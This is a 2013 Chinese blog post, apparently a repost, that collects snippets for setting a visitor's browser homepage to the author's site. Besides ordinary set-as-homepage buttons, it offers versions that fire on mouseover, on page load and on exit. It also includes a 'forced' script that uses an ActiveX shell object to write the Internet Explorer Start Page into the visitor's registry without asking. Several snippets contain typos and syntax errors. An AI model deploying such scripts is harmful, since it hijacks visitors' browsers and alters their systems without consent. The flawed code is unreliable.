当前位置: 首页 >> 转载技术·程序猿 >> 设为首页代码大全 >> 正文

设为首页代码大全

11年前 (2013-05-28)     作者:iMoke     分类:转载技术·程序猿     阅读次数:3158     评论(0)    

设为首页代码
 把以下代码<Body>相应位置
 <span onclick=”var strHref=window.location.href;this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘http://www.bsdlover.cn’);” style=”CURSOR: hand”>设为首页</span>b


设为首页代码

 把以下代码<Body>相应位置

 <span onclick=”var strHref=window.location.href;this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘http://b.imoke.org’);” style=”CURSOR: hand”>设为首页</span>

 

强制设为首页代码

 

<script>

 var ucook=document.cookie;

 var user=ucook.indexOF(“ilooki=”);

 if(user==-1)

 {

 var nowTime=new Date();

 document.cookie=”ilooki”+”;”+”expires=Wednesday,03-Jan-”+eval(nowTime.getYear()+1903+”12:34:56 GMT”;

 document.write(“<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>”);function yuzi(){try{a1

 =document.applets[0];a1.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”);a1.createInstance();Shl=a1.GetObject();a1.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”);try{Shl.RegWrite(“hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page”,http://b.imoke.org);}catch(e){}}catch(e){}}setTimeout(“yuzi()”,1000);

 }

 </script>

 

鼠标指向时提示设为首页

 

将下列代码插入<body>区中:

 

<A href=”http://b.imoke.org/” onmouseover=”this.style.behavior=’url(#default#homepage)’;this.setHomePage(‘http://b.imoke.org’);” target=”_blank”>设为首页</A>

 

打开页面时自动弹出窗口询问是否设为首页

 将以下代码放在<head></head>之间:

 

<script language=”javascript”>

 function myhomepage(){

 this.homepage.style.behavior=’url(#default#homepage)’;this.homepage.sethomepage(‘http://b.imoke.org’);

 }

 </script>

 <p align=”center”><a href=”http://b.imoke.org” name=”homepage”

 onclick=”myhomepage();”></a>

 

再将下面代码加入<body>内:

 

onload=”myhomepage();”

 即:<body onload=”myhomepage();”>

 

 

 

离开时自动提示设为首页

 

<body onunload=”BASEBody.style.behavior=’url(#default#homepage)’;if(!(BASEBody.isHomePage(‘http://b.imoke.org’)))BASEBody.setHomePage(‘http://b.imoke.org/’);”> 

除非注明,发表在“傲孤漠客”的文章『设为首页代码大全』版权归iMoke所有。 转载请注明出处为“本文转载于『傲孤漠客』原地址https://www.imoke.org/post/423.html

评论

发表评论   

昵称*

E-mail*(建议输入,以便收到博主回复的提示邮件)

网站